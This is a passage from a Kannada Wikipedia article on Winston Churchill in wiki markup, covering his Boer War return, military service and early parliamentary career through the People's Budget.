ಲಾರೆನ್ಸೊ ಮಾರ್ಕ್ವೇಸ್‌‌ಗೆ ಪ್ರಯಾಣಿಸಿದರು.<ref>ಜೆಂಕಿನ್ಸ್, ಪುಟಗಳು. ೫೫–೬೨</ref> ಇವರ ಪರಾರಿಯಾಗಿ ತವರಿಗೆ ಮರಳಿದ ನಂತರ ಸ್ವಲ್ಪ ಮಟ್ಟಿಗೆ ಬ್ರಿಟನ್ ರಾಷ್ಟ್ರದ ಹೀರೋ ಆಗಿ ಮಿಂಚಲು ಸಹಾಯವಾಯಿತು, ಬ್ರಿಟೀಷರನ್ನು ಸಮಾಧಾನಗೊಳಿಸಲು ಜನರಲ್ ಬುಲ್ಲರ್ ಸೈನ್ಯ ಸೇಜ್ ಆಫ್ ಲೇಡಿಸ್ಮಿತ್ ಸೇರಿಕೊಂಡು ಮತ್ತು ಪ್ರಿಟೋರಿಯಾಗೆ ನಡೆದರು.<ref>ಜೆಂಕಿನ್ಸ್, ಪುಟಗಳು. ೬೧–೬೨</ref> ಹೀಗಿದ್ದರೂ ಇಲ್ಲಿಯು ಸೌತ್ ಆಫ್ರಿಕನ್ ಲೈಟ್ ಹಾರ್ಸ್‌ ಪರವಾಗಿ ಯುದ್ಧ ಬಾತ್ಮೀದಾರರಾಗಿದ್ದರು. ಇವರು ಲೇಡಿಸ್ಮಿತ್ ಮತ್ತು ಪ್ರಿಟೋರಿಯಾ ಒಡಗೂಡಿದ ಬ್ರಿಟೀಷ್ ತಂಡದ ಮೊದಲಿಗ. ಇವರು ಮತ್ತು ಡ್ಯೂಕ್ ಆಫ್ ಮಾರ್ಲ್‌ಬೋರೊ ಆಗಿದ್ದ ಇವರ ಸಂಬಂಧಿ ಪ್ರಿಟೋರಿಯಾದಲ್ಲಿ ಉಳಿದ ತಂಡವನ್ನು ಮುನ್ನಡೆಸುವ ಸಾಮರ್ಥ್ಯ ಹೊಂದಿದ್ದರು, ಅವರಿಲ್ಲಿ ಬೋರ್ ಕೈದಿ ಶಿಬಿರದ ೫೨ ಗಾರ್ಡ್‌ಗಳನ್ನು ಪ್ರಶ್ನಿಸಿದರು .<ref>ಜೆಂಕಿನ್ಸ್, ಪುಟಗಳು. ೬೨–೬೪</ref> [[File:Burnham churchill jul1900.jpg|thumb|right|350px|ಬೋರ್ ಯುದ್ಧದಿಂದ ಆರ್‌‍ಎಂಎಸ್ ಡುನೋಟರ್ ಕ್ಯಾಸಲ್‌ಗೆ ವಾಪಸ್ಸಾತಿ, ಜುಲೈ 1900.<ref name="finesthour127">[72][73]</ref> ನಿಂತವರು ಎಡದಿಂದ ಬಲಕ್ಕೆ: ಸರ್ ಬೈರಾನ್ ಲೈಗ್‌ಟನ್, ಕ್ಲಾಡ್ ಗ್ರೆನ್‌ಫೆಲ್, ಮೇಜರ್ ಫೆಡರಿಕ್ ರುಸೆಲ್ ಬರ್ನ್‌ಹ್ಯಾಮ್, ಕ್ಯಾಪ್ಟನ್ ಜೋರ್ಡನ್ ಫೋರ್ಬ್ಸ್, ಅವೆ ಬೈಲಿ (ಇವರ ಮಗ 1932ರಲ್ಲಿ ಡಯಾನಾ ಚರ್ಚಿಲ್‌ರನ್ನು ಮದುವೆಯಾದರು),ಮುಂದಿನ ಇಬ್ಬರನ್ನು ಗುರಿತಿಸಲಾಗಿಲ್ಲ, ಲಾರ್ಡ್ ಜಾನ್ ವೆಸ್ಟನ್ ಬ್ರೂಕ್. ಕುಳಿತವರು ಎಡದಿಂದ ಬಲಕ್ಕೆ: ಮೇಜರ್ ಬಾಬ್ಬಿ ವೈಟ್, ಲಾರ್ಡ್ ಡೌನ್, ಜನರಲ್ ಸರ್ ಹೆನ್ರಿ ಎಡ್ವರ್ಡ್ ಕಾಲ್ವಿಲ್ಲೆ (ಮುಂದೆ ಚರ್ಚಿಲ್ ಎಂಪಿ ಆಗಿದ್ದಾಗ ದಕ್ಷಿಣ ಆಫ್ರಿಕಾ‌ದಿಂದ ವಜಾಮಾಡಲ್ಪಟ್ಟಿದ್ದಕ್ಕಾಗಿ ವಿಚಾರಣೆಗಾಗಿ ಬೇಡಿಕೆ), ಮೇಜರ್ ಹೆನ್ರಿ ವೈಟ್, ಮೇಜರ್ ಜೋ ಲೇಕಾಕ್, ವಿನ್‌ಸ್ಟನ್ ಚರ್ಚಿಲ್, ಸರ್ ಚಾರ್ಲ್ಸ್ ಬೆಂಟಿಕ್. ಕುಳಿತವರು ಎಡದಿಂದ ಬಲಕ್ಕೆ: ಗುರುತಿಸಲ್ಪಡದವರು, ಕರ್ನಲ್ ಮೌರಿಸ್ ಗಿಫೋರ್ಡ್]] ಚರ್ಚಿಲ್ ೧೯೦೦ರಲ್ಲಿ ಆರ್‌ಎಂಎಸ್ ''ಡುನೊಟಾರ್ ಕ್ಯಾಸಲ್‌'' ನಲ್ಲಿ ಇಂಗ್ಲೆಂಡಿಗೆ ವಾಪಸ್ಸಾದರು, ಎಂಟು ತಿಂಗಳ ಮೊದಲು ಇದೇ ಹಡಗಿನಲ್ಲಿ ದಕ್ಷಿಣ ಆಫ್ರಿಕಾ‌ಕ್ಕೆ ಹೋಗಿದ್ದರು.<ref name="autogenerated1">{{cite web|url=http://www.winstonchurchill.org/images/finesthour/Vol.01%20No.127.pdf|title=FinestHour|accessdate=28 August 2009|format=PDF|work=Journal of the Churchill Center and Societies, Summer 2005|archive-date=3 ಜುಲೈ 2010|archive-url=https://web.archive.org/web/20100703041301/http://www.winstonchurchill.org/images/finesthour/Vol.01%20No.127.pdf|url-status=dead}}</ref> ''ಲಂಡನ್ ಟು ಲೇಡಿಸ್ಮಿತ್{'' ಮತ್ತು ಬೋರ್ ಯುದ್ಧದ ಅನುಭವದ ಎರಡನೆಯ ಆವೃತ್ತಿ, ''ಅಯಾನ್ ಹ್ಯಾಮಿಲ್ಟನ್ಸ್ ಮಾರ್ಚ್'' ಪ್ರಕಟಿಸಿದರು. 1900 ರ ಸಂಸತ್ತಿನ ಸಾರ್ವತ್ರಿಕ ಚುನಾವಣೆಯಲ್ಲಿ ಚರ್ಚಿಲ್ ಮತ್ತೆ ಓಡಮ್‌ನಲ್ಲಿ ಎರಡು ಸ್ಥಾನಕ್ಕಾಗಿ ಸ್ಪರ್ಧಿಸಿ(ಕನ್ಸರ್ವೇಟಿವ್ ಸಹೋಗ್ಯೋಗಿ, ಕ್ರಿಸ್ಪ್ ಸೋತರು) ವಿಜೇತರಾದರು.<ref>ಜೆಂಕಿನ್ಸ್, ಪುಟಗಳು. 45–50</ref><ref name="gilbert">{{cite book|last=Gilbert|first=Martin|title=Churchill: A Study in Greatness (one volume edition)|publisher=Pimlico|year=2001|location=London|isbn=978-0-7126-6725-8}}</ref> ೧೯೦೦ ಸಾರ್ವತ್ರಿಕ ಚುನಾವಣೆಯಾದ ನಂತರ ಬ್ರಿಟನ್ ಭಾಷಣ ಕಾರ್ಯಕ್ರಮಕ್ಕಾಗಿ ಮತ್ತೆ ಹಡಗನ್ನೇರಿದರು. ಹಾಗೆಯೇ ಅಮೆರಿಕಾ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನ ಮತ್ತು ಕೆನಡಾಗೂ ಪ್ರಯಾಣಿಸಿ ಹೆಚ್ಚುವರಿಯಾಗಿ £೫,೦೦೦ ಗಳಿಸಿದರು.<ref>ಜೆಂಕಿನ್ಸ್, ಪುಟ. ೬೯</ref> ===ತಾಯ್ನಾಡಿನ ಸೇವೆ=== ೧೯೦೦ರಲ್ಲಿ ರೆಗ್ಯುಲರ್ ಸೈನ್ಯದಿಂದ ನಿವೃತ್ತಿಯಾಗಿ ೧೯೦೨ ರಲ್ಲಿ ಇಂಪಿರೀಯಲ್ ಯೋಮನ್ರಿ ಸೇರಿಕೊಂಡು ಅಲ್ಲಿ ೪ ಜನವರಿ ೧೯೦೨ರಂದು<ref name="yeoman1">{{cite web|url=http://www.winstonchurchill.org/learn/reference/commissions-and-military-attachments|title=Churchill's Commissions and Military Attachments, The Churchill Centre|publisher=Winstonchurchill.org|date=|accessdate=12 April 2010|archive-date=3 ಜೂನ್ 2010|archive-url=https://web.archive.org/web/20100603051951/http://www.winstonchurchill.org/learn/reference/commissions-and-military-attachments|url-status=dead}}</ref> ಕ್ವೀನ್ಸ್ ಓನ್ ಆಕ್ಸ್‌ಫರ್ಡ್‌ಶಾಯರ್ ಹುಸಾರ್ಸ್‌‌ನಲ್ಲಿ [[ಕ್ಯಾಪ್ಟನ್‌]] ಆಗಿ ನಿಯೋಜಿತಗೊಂಡರು. ಎಪ್ರಿಲ್ ೧೯೦೫ರಲ್ಲಿ ಮೇಜರ್‌ ಆಗಿ ಭಡ್ತಿ ಪಡೆದು ಕ್ವೀನ್ಸ್ ಓನ್ ಆಕ್ಸ್‌ಫರ್ಡ್‌ಶಾಯರ್ ಹುಸಾರ್ಸ್‌‍ನ ಹೆನ್ಲಿ ಸ್ವ್ಯಾಡ್ರನ್‌ಗೆ ಆದೇಶ ನೀಡಲು ಯೋಜಿತಗೊಂಡರು.<ref name="yeoman2">{{cite web|url=http://www.chu.cam.ac.uk/archives/churchill_papers/biography/churchill_chronology.php|title=Sir Winston Churchill: Biography: Chronological Summary, Churchill College|publisher=Chu.cam.ac.uk|date=6 March 2009|accessdate=9 August 2009}}</ref> ಸೆಪ್ಟೆಂಬರ್ ೧೯೧೬ರಲ್ಲಿ ಪ್ರಾದೇಶಿಕ ಮೀಸಲುಪಡೆಗೆ ಅಧಿಕಾರಿಯಾಗಿ ವರ್ಗಾವಣೆಗೊಂಡು ಐ೧೯೨೪ರಲ್ಲಿ ನಿವೃತ್ತಿಯಾಗುವವರೆಗೂ ಅಲ್ಲೆ ಇದ್ದರು.<ref name="yeoman2" /> ===ಪಾಶ್ಚಿಮಾತ್ಯ/ಪಶ್ಚಿಮ ರಾಷ್ಟ್ರ ರಂಗ=== ಚರ್ಚಿಲ್ ಮೊದಲ ಜಾಗತಿಕ ಯುದ್ಧದ ಆರಂಭದಲ್ಲಿ ಫಸ್ಟ್ ಲಾರ್ಡ್ ಆಫ್ ದ ಅಡ್ಮಿರಾಲ್ಟಿಯಾಗಿದ್ದರು, ಆದರೆ ಗಲಿಪೊಲಿ ಕದನ ದುರಂತ ನಡೆದ ನಂತರ ಯುದ್ಧ ಕ್ಯಾಬಿನೇಟ್‌ನ್ನು ಬಿಡಲು ಬಲವಂತ ಪಡಿಸಲಾಯಿತು ಬ್ರಿಗೇಡ್ ಕಮಾಂಡರ್ ಆಗಿ ನಿಯೋಜನೆಗೊಳ್ಳಲು ಪ್ರಯತ್ನಿಸಿದರು ಆದರೆ ಬೆಟಾಲಿಯನ್‌ನಲ್ಲಿ ಸೇರಿಕೊಳ್ಳುವಂತೆ ಆದೇಶಿಸಲಾಯಿತು. ಆದೇಶಿಸಲಾಯಿತು೨ನೇಯ ಬೆಟಾಲಿಯನ್‌ನಲ್ಲಿ ಮೇಜರ್‌ ಗ್ರೆನೇಡಿಯರ್ ಗಾರ್ಡ್ಸ್ ಆಗಿ ಕಳೆದ ಕೆಲ ಸಮಯದ ನಂತರದಲ್ಲಿ, ೧ಜನವರಿ ೧೯೧೬ರಂದು ೬ನೇಯ ಬೆಟಾಲಿಯನ್‌‌‍ನ ರಾಯಲ್ ಸ್ಕಾಟ್ಸ್ ಫುಸಿಲಿಯರ್( ೯ನೇಯ (ಸ್ಕಾಟೀಶ್) ವಿಭಾಗದ ಭಾಗ) ಲೆಫ್ಟಿನೆಂಟ್ ಕರ್ನಲ್‌ ಆಗಿ ನೇಮಕಗೊಂಡರು. ಸಕ್ರೀಯವಾದ ಸೇವೆಯಲ್ಲಿ ಅವರ ಗೌರವ ಮತ್ತೆ ಹೆಚ್ಚಿದಂತೆ ಕಂಡುಬರುತ್ತದೆಂದು ತಮ್ಮ ಹೆಂಡತಿಯ ಜೊತೆಗಿನ ಪತ್ರ ವ್ಯವಹಾರ ತೋರ್ಪಡಿಸುತ್ತದೆ. ಸಾವಿನ ಅಪಾಯವು ಹೆಚ್ಚಾಗಿರುವುದರಿಂದ ಗೌರವವು ಹೆಚ್ಚಾಗಿರುತ್ತದೆ. ಕಮಾಂಡರ್‌ ಆಗಿ ಅಜಾಗರೂಕತೆಯಿಂದ ಧೈರ್ಯ ಪ್ರದರ್ಶನ ಮುಂದುವರೆಸಿದರು ಇದು ಅವರ ಎಲ್ಲಾ ಸೈನಿಕ ಕಾರ್ಯಾಚರಣೆಯ ಶ್ರೇಷ್ಠತೆಯಾಗಿದೆ ಆದರೂ ತಾವು ಹಲವಾರು ಪಾಶ್ಚಿಮಾತ್ಯ ರಣರಂಗದ ಕಾರ್ಯಾಚರಣೆಯಲ್ಲಿ ಸಾಮೂಹಿಕ ಕಗ್ಗೊಲೆ ನಡೆಸಿರುವುದನ್ನು ಬಲವಾಗಿ ತಳ್ಳಿಹಾಕುತ್ತಾರೆ.<ref>ಜೆಂಕಿನ್ಸ್, ಪುಟಗಳು. ೩೦೧–೦೨</ref> ೨೦೦೧ರಲ್ಲಿ ರಾಯಲ್ ಹಾಸ್ಪಿಟಲ್ ಸೊಸೈಟಿಯಲ್ಲಿ ಲಾರ್ಡ್ ಡೀಡ್ಸ್ ಸಂಗ್ರಹಿಸಿ ಮಾಹಿತಿ ಪ್ರಕಾರ ಚರ್ಚಿಲ್ ಯಾಕೆ ಮುಂಗಿನ ಸಾಲಿಗೆ ಹೋಗಿದ್ದ: " ಬೆಟಾಲಿಯನ್ ಮುಖ್ಯಕಛೇರಿಯಲ್ಲಿ ಭಾವರಹಿತವಾಗಿರುವ ಗ್ರೆನೆಡಿಯರ್ ಗಾರ್ಡ್ಸ್ ಜೊತೆಗೆ ಚರ್ಚಿಲ್ ಇದ್ದರು ಕಣಿವೆಗಳಲ್ಲಿ ಮದ್ಯವನ್ನು ಮೊದಲಿಗೆ ಬಳಸಲು ಅನುಮತಿ ಇತ್ತು ಆದರೆ ಅವರು ಚಹಾ ಮತ್ತು ಕಂಡೇನ್ಡ್ ಮಿಲ್ಕ್‌ ತುಂಬಾ ಇಷ್ಟ ಪಡುತ್ತಿದ್ದರು, ಮದ್ಯ ವಿನ್ಸ್‌ಟನ್‌ಗೆ ಆಕರ್ಷಕವಾಗಿರಲಿಲ್ಲ. ಹಾಗಾಗಿಯೇ ಇವರು ಇನ್ನೂ ಹೆಚ್ಚಿಗೆ ಯುದ್ಧ ನೋಡಲು ಬಯಸುತ್ತಿದ್ದುದನ್ನು ಕರ್ನಲ್‌ಗೆ ಸೂಚಿಸಿದರು ಮತ್ತು ಮುಂಚೂಣಿಯಲ್ಲಿ ಸೇರಿಕೊಂಡರು. ಇದನ್ನು ಮಾಡುವುದು ಉತ್ತಮ ಕೆಲಸವೆಂದು ಯಾರು ವಿಚಾರ ಮಾಡುತ್ತಾರೆಂದು ಕರ್ನಲ್‌ರಿಂದ ಇದು ಬಹಳ ಶ್ಲಾಘನೆಗೊಳಗಾಯಿತು."<ref>{{cite journal|title=Churchill Remembered: Recollections by Tony Benn MP, Lord Carrington, Lord Deedes and Mary Soames|journal=Transactions of the Royal Historical Society |pages= 393–414 [404]|author=T Benn et al.|volume=11|issue=|year=2001 | doi = 10.1017/S0080440101000202 | jstor=3679430 }}</ref> ==ಎರಡನೇಯ ಜಾಗತಿಕ ಯುದ್ಧಕ್ಕೆ ರಾಜಕೀಯ ಜೀವನ== [[File:Churchillelectionposteroldham.jpg|thumb|1900 ಸಾರ್ವತ್ರಿಕ ಚುನಾವಣೆಗಾಗಿ ಚರ್ಚಿಲ್‌ರ ಚುನಾವಣಾ ಪೋಸ್ಟರ್. ಓಡಮ್‌ನಲ್ಲಿ ಸ್ಪರ್ಧಿಸಿ ಒಂದು ಸ್ಥಾನವನ್ನು ಗೆದ್ದುಕೊಂಡರು.]] {{Main|Winston Churchill in politics: 1900–1939}} ===ಸಂಸತ್ತಿನಲ್ಲಿ ಆರಂಭಿಕ ದಿನಗಳು=== ಚರ್ಚಿಲ್, ಓಡಮ್‌ನ ಸ್ಥಾನಕ್ಕಾಗಿ ೧೯೦೦ರ ಸಾರ್ವತ್ರಿಕ ಚುನಾವಣೆಯಲ್ಲಿ ಪುನಹ ಎದ್ದು ನಿಂತರು. ಸ್ಥಾನವನ್ನು ಗೆದ್ದ ನಂತರ, ಬ್ರಿಟನ್ನಿನಾದ್ಯಂತ ಮತ್ತು ಸಂಯುಕ್ತ ರಾಷ್ಟ್ರಗಳಿಗೆ ಭಾಷಣ ಯಾತ್ರೆಗಳಿಗಾಗಿ ಹೊರಟರು, £೧೦,೦೦೦ ಕ್ಕೆ ಏರಿಸಿದರು (ಇಂದಿನ£{{formatnum:{{Inflation|UK|10000|1900|r=-4}}}} ದಿನದಲ್ಲಿ ಸುಮಾರು ದಿನದಲ್ಲಿ ಸುಮಾರು{{Inflation-fn|UK}}). ಅವರು ಸಂಸತ್ತಿನಲ್ಲಿ ಕನ್ಸರ್ವೇಟಿವ್ ಪಾರ್ಟಿಯ ಮುಖ್ಯಸ್ಥ ಲಾರ್ಡ್ ಹ್ಯೂ ಸೆಸಿಲ್‌ರ ಹೂಲುಗನ್ಸ್ ಜೊತೆಗೆ ವೈಮನಸ್ಯಯ ಹೊಂದಿದ್ದರು. ಅವರು ಮೊದಲ ಸಂಸತ್ತಿನ ಅಧಿವೇಶನದಲ್ಲಿ ಸರಕಾರದ ಮಿಲಿಟರಿ ವೆಚ್ಚ<ref>ಜೆಂಕಿನ್ಸ್, ಪುಟಗಳು. ೭೪–೭೬</ref> ಮತ್ತು ಬ್ರಿಟೇನ್‌ನ ಆರ್ಥಿಕ ಪ್ರಭುತ್ವವನ್ನು ಹಿಡಿತದಲ್ಲಿಟ್ಟುಕೊಳ್ಳುವ ಉದ್ದೇಶವನ್ನು ಹೊಂದಿದ್ದ ಜೋಸೆಫ್ ಕೆಂಬರ್ಲಿನ್ರ ವ್ಯಾಪಕವಾದ ತೆರಿಗೆಯ ಪ್ರಸ್ತಾಪವನ್ನು ವಿರೋಧಿಸಿದರು. ಅವರ ಮತದಾರ ಕ್ಷೇತ್ರದ ಜನತೆ ಅವರನ್ನು ಸ್ಪಷ್ಟವಾಗಿ ನಿರಾಕರಿಸಿತು, ಆದರೂ ಮುಂದಿನ ಸಾರ್ವತ್ರಿಕ ಚುನಾವಣೆಯವರೆಗೂ ಅವರು ಓಡಮ್‌ನಲ್ಲಿ ಮುಂದುವರೆದರು. ೧೯೦೪ರಲ್ಲಿ ಅವರು ವೈಟ್‌ಸನ್ ವಿರಾಮದ ನಂತರ ಲಿಬರಲ್ ಪಾರ್ಟಿಯ ಸದಸ್ಯರಾಗುವ ಹಂತಕ್ಕೆ ಬಂದರು. ಲಿಬರಲ್ ಆಗಿ ಅವರು, ಮುಕ್ತ ವ್ಯಾಪಾರಕ್ಕಾಗಿ ಹೋರಾಟವನ್ನು ಮುಂದುವರೆಸಿದರು. ಚರ್ಚಿಲ್ ಲಿಬರಲ್‌ ಪಕ್ಷದಲ್ಲಿದ್ದಾಗ ಹೆನ್ರಿ ಕ್ಯಾಂಬೆಲ್-ಬ್ಯಾನರ್‌ರ್ಮನ್‌ ಡಿಸೆಂಬರ್ ೧೯೦೫ರಲ್ಲಿ ಪ್ರಧಾನಮಂತ್ರಿಯಾದರು, ಆಗ ಬೋರ್ ಯುದ್ಧದ ನಂತರ ದಕ್ಷಿಣ ಆಫ್ರಿಕಾದ ಕಾಲೋನಿಗಳ ಜೊತೆಗೆ ವ್ಯವಹಾರ ನಡೆಸಲು ಸಹಾಯಕ ಕಾರ್ಯದರ್ಶಿಯಾದರು. ೧೯೦೩ ರಿಂದ ೧೯೦೫ರವರೆಗೆ ಚರ್ಚಿಲ್ ಅವರ ತಂದೆಯ ಜೀವನ ಚರಿತ್ರೆ, ''ಲಾರ್ಡ್ ರೇಂಡೋಲ್ಫ್ ಚರ್ಚಿಲ್‌'' ಬರೆಯುವುದರಲ್ಲಿ ಕೂಡ ನಿರತರಾಗಿದ್ದರು, ಇದು ಎರಡು ಸಂಪುಟಗಳಲ್ಲಿತ್ತು ಮತ್ತು ೧೯೦೬ರಲ್ಲಿ ಬಿಡುಗಡೆಯಾಯಿತು ಮತ್ತು ವಿಮರ್ಷಾತ್ಮಕ ಶ್ಲಾಘನೆ ಪಡೆಯಿತು.<ref>ಜೆಂಕಿನ್ಸ್, ಪುಟ. ೧೦೧</ref> ಓಡಮ್‌ನ ಖುರ್ಚಿ(ಸ್ಥಾನ)ಯಲ್ಲಿ ಅವರ ಆಯ್ಕೆಯ ನಿರಾಕರಣೆಯ ಅನುಸಾರ ಮ್ಯಾನ್‌ಚೆಸ್ಟರ್ ನಾರ್ತ್ ವೆಸ್ಟ್‌ನಲ್ಲಿ ನಿಲ್ಲಲು ಕರೆ ಬಂತು. ೧೯೦೬ರ ಸಾರ್ವತ್ರಿಕ ಚುನಾವಣೆಯಲ್ಲಿ ೧,೨೧೪ರ ಬಹು ಮತದೊಂದಿಗೆ ಅವರು ಸ್ಥಾನವನ್ನು ತಮ್ಮದಾಗಿಕೊಂಡರು ಮತ್ತು ೧೯೦೮ವರೆಗೆ ಎರಡು ವರ್ಷಗಳ ಕಾಲ ಸ್ಥಾನವನ್ನು ಪ್ರತಿನಿಧಿಸಿದರು.<ref name="centre-710">{{cite web|url=http://www.winstonchurchill.org/learn/reference/churchills-elections|title=Churchill's Elections|accessdate=28 August 2009|last=Hall|first=Douglas J.|publisher=The Churchill Centre}}</ref> ಯಾವಾಗ ಕ್ಯಾಂಬೆಲ್-ಬ್ಯಾನರ್‌ರ್ಮನ್‌ ೧೯೦೮ರಲ್ಲಿ [[ಆಸ್ಕ್ವಿತ್, ಹರ್ಬರ್ಟ್ ಹೆನ್ರಿ|ಹರ್ಬರ್ಟ್ ಹೆನ್ರಿ ಆಸ್‌ಕ್ವಿಥ್‌‌]] ಉತ್ತರಾಧಿಕಾರಿಯಾದರೋ ಚರ್ಚಿಲ್ ಸಚಿವ ಸಂಪುಟಕ್ಕೆ ಬೋರ್ಡ್ ಆಫ್ ಟ್ರೇಡ್‌ನ ಅಧ್ಯಕ್ಷರಾಗಿ ಬಡ್ತಿ ಪಡೆದರು.<ref name="gilbert" /> ಆ ಸಮಯದ ಕಾನೂನಿನ ಪ್ರಕಾರ ಹೊಸದಾಗಿ ಆಯ್ಕೆಯಾದ ಸಂಸತ್ ಸಚಿವ ಪುನಃ ಚುನಾವಣೆ ನಡೆಸಬೇಕೆಂದು ಆಗ್ರಹ ಪಡಿಸಿದರು, ಈ ಉಪಚುನಾವಣೆಯಲ್ಲಿ ಚರ್ಚಿಲ್ ತಮ್ಮ ಸ್ಥಾನವನ್ನು ಕಳೆದುಕೊಂಡರು ಆದ್ರೆ ಅತಿ ಶೀಘ್ರದಲ್ಲೆ ಡಂಡಿ ಮತದಾನ ಕ್ಷೇತ್ರದ ಮೂಲಕ ಸದಸ್ಯರಾಗಿ ಆಯ್ಕೆಯಾದರು. ಬೋರ್ಡ್ ಆಫ್ ಟ್ರೇಡ್ ಅಧ್ಯಕ್ಷರಾಗಿದ್ದಾಗ ಹೊಸದಾಗಿ ನೇಮಕಗೊಂಡ ಚಾನ್ಸಲರ್ ಲಾಯಿಡ್ ಜಾರ್ಜ್‌ರನ್ನು ಸೇರಿಕೊಂಡು ಫಸ್ಟ್ ಲಾರ್ಡ್ ಆಫ್ ದ ಅಡ್ಮಿರಾಲ್ಟಿ ರಜಿನಾಲ್ಡ್ ಮ್ಯಾಕ್‌ಕೆನಾ ಪ್ರಸ್ತಾಪಿಸಿದ ನೌಕಾ ರಕ್ಷಣಾಕವಚದ ಯುದ್ಧ ಹಡಗು ನಿರ್ಮಾಣಕ್ಕೆ ವೆಚ್ಚವಾಗುವ ಅಪಾರ ಖರ್ಚನ್ನು ವಿರೋಧಿಸಿದರು ಮತ್ತು ಲಿಬರಲ್ ಸುಧಾರಣೆಗೆ ಬೆಂಬಲಿಸಿದರು.<ref name="toye">{{cite book|last=Toye|first=Richard|title=Lloyd George and Churchill: Rivals for Greatness|publisher=Macmillan|year=2007|location=London|isbn=978-1-4050-4896-5}}</ref> ೧೯೦೮ರಲ್ಲಿ ಅವರು ಟ್ರೇಡ್ ಬೋರ್ಡ್ಸ್ ಬಿಲ್‌ನ ಕನಿಷ್ಠ ವೇತನ ವ್ಯವಸ್ಥೆಯನ್ನು ಮೊದಲಿಗೆ ಬ್ರಿಟನ್‌ನಲ್ಲಿ<ref name="ReferenceA">ಚರ್ಚಿಲ್‌, ರಾಂಡೋಲ್ಫ್. ''ವಿನ್‌ಸ್ಟನ್ ಎಸ್. ಚರ್ಚಿಲ್‌: ಯಂಗ್ ಸ್ಟೇಟ್ಸ್‌ಮ್ಯಾನ್ (ಯುವ ಸ್ಟೇಟ್ಸ್‌ಮ್ಯಾನ್)'' . (c) ೧೯೬೭ ಸಿ &amp; ಟಿ ಪ್ರಕಟಣೆಗಳು: ಪುಟಗಳು. ೨೮೭–೮೯</ref> ಪರಿಚಯಿಸಿದರು.<ref name="ReferenceA"/> ೧೯೦೯ರಲ್ಲಿ ಅವರು ನಿರುದ್ಯೋಗಿಗಳಿಗೆ ಕೆಲಸ ಹುಡುಕಲು ಸಹಾಯವಾಗಲು, ಕಾರ್ಮಿಕ ವಿನಿಮಯವನ್ನು ವ್ಯವಸ್ಥೆಗೊಳಿಸಿದರು.<ref>ಜೆಂಕಿನ್ಸ್, ಪುಟಗಳು. ೧೫೦–೫೧</ref> ನಿರುದ್ಯೋಗಿಗಳಿಗೆ ಸಹಾಯವಾಗಲು ಪಿಂಚಣಿ ಶಾಸನ ರಾಷ್ಟ್ರೀಯ ವಿಮಾ ಕಾಯಿದೆ೧೯೧೧ರ ಕರಡನ್ನು ಮೊದಲಿಗೆ ತಯಾರಿಸಿದರು.<ref>ಜೆಂಕಿನ್ಸ್, ಪುಟ. ೧೫೨</ref> ಸುಸಂತಾನಶಾಸ್ತ್ರ ಬೆಂಬಲಿಗರಾಗಿ,ಮೆಂಟಲ್ ಡೆಫಿಶಿಯೆನ್ಸಿ ಆ‍ಯ್‌ಕ್ಟ್ ೧೯೧೩ರ ಕರಡು ತಯಾರಿಸಲು ಭಾಗವಹಿಸಿದ್ದರು,ಆದರೆ ಆಸ್ಪತ್ರೆಗಳಲ್ಲಿ ಬುದ್ಧಿಮಾಂದ್ಯದ ಹೆರಿಗೆಯಲ್ಲಿ ಅವರ ಪರವಾಗಿ ಸ್ಟೇರಿಲೈಸೇಶನ್‌ ಮಾಡುವ ವಿಧಾನಕ್ಕೆ ಇವರು ನೀಡಿರುವ ಕ್ರಮ ಸರಿ ಇಲ್ಲದಿದ್ದರಿಂದ ಈ ಮಸೂದೆ ತಿರಸ್ಕಾರ ಗೊಂಡಿತು.<ref>ಮಾರ್ಟಿನ್ ಗಿಲ್ಬರ್ಟ್, ''ಚರ್ಚಿಲ್‌ ಮತ್ತು ಯುಜನನಶಾಸ್ತ್ರ'' , ೨೦೦೯. [http://www.winstonchurchill.org/support/the-churchill-centre/publications/finest-hour-online/594-churchill-and-eugenics ಆನ್‌ಲೈನ್ ಟೆಕ್ಸ್ಟ್]</ref> [[File:Churchill 1904 Q 42037.jpg|thumb|left|1904ರಲ್ಲಿ ಚರ್ಚಿಲ್‌]] ಬಡ್ಜೆಟ್ ಲೀಗ್‌ನ ಅಧ್ಯಕ್ಷರಾಗಿರುವಾಗ ಚರ್ಚಿಲ್ ಪೀಪಲ್ಸ್ ಬಡ್ಜೆಟ್‌<ref>ಜೆಂಕಿನ್ಸ್, ಪುಟಗಳು. ೧೫೭–೬೬</ref> ಅನ್ನು ಅಂಗೀಕಾರ ಮಾಡುವಲ್ಲಿ ಸಹಕರಿಸಿದರು, ವಿರೋಧ ಪಕ್ಷಗಳ "ಬಡ್ಜೆಟ್ ಪ್ರೊಟೆಸ್ಟ್ ಲೀಗ್‌"ಗೆ ಉತ್ತರವಾಗಿ ಒಂದು ಸಂಸ್ಥೆ ಸ್ಥಾಪಿತವಾಯಿತು.<ref>ಜೆಂಕಿನ್ಸ್, ಪುಟ. ೧೬೧</ref> ಸರಕಾರದ ವಾರ್ಷಿಕ ಆಯವ್ಯಯಗಳ ಅಂದಾಜು ಪಟ್ಟಿಯು, ಹೊಸ ಸಾಮಾಜಿಕ ಕ್ಷೇಮದ ಕಾರ್ಯಕ್ರಮಗಳ ನಿರ್ಮಾಣಕ್ಕೆ, ಐಶ್ವರ್ಯದ ಮೇಲೆ ಹೊಸ ಸುಂಕಗಳ ಬಗೆಗಿನ ಪೀಠಿಕೆಯನ್ನು ಒಳಗೊಂಡಿತ್ತು. ನಂತರದ ಸರಕಾರದ ವಾರ್ಷಿಕ ಆಯವ್ಯಯಗಳ ಅಂದಾಜು ಪಟ್ಟಿಯು ೧೯೦೯ರಲ್ಲಿ ಕಾಮನ್ಸ್‌ಗೆ ಕಳಿಸಲ್ಪಟ್ಟಿತು ಮತ್ತು ಅಂಗೀಕರಿಸಲ್ಪಟ್ಟಿತು, ನಂತರ ಇದು ಹೌಸ್ ಆಫ್ ಲಾರ್ಡ್ಸ್‌ಗೆ ಬಂದು ನಿರಾಕರಣಾಧಿಕಾರ ಆಯಿತು. ನಂತರ ಲಿಬರಲ್‌ರು ಅವರ ಸುಧಾರಣೆಗಳಿಗಾಗಿ ಜನಾದೇಶ ಪಡೆಯುವುದಕ್ಕಾಗಿ ಜನವರಿ ಮತ್ತು ಡಿಸೆಂಬರ್ ೧೯೧೦ ರಲ್ಲಿ ಸಾರ್ವತ್ರಿಕ ಚುನಾವಣೆ ಎದುರಿಸಿ ಗೆದ್ದುಕೊಂಡರು. ಯಾವುದಕ್ಕಾಗಿ ಅವರು ಚಳುವಳಿ ನಡೆಸಿದ್ದರೋ ಆ 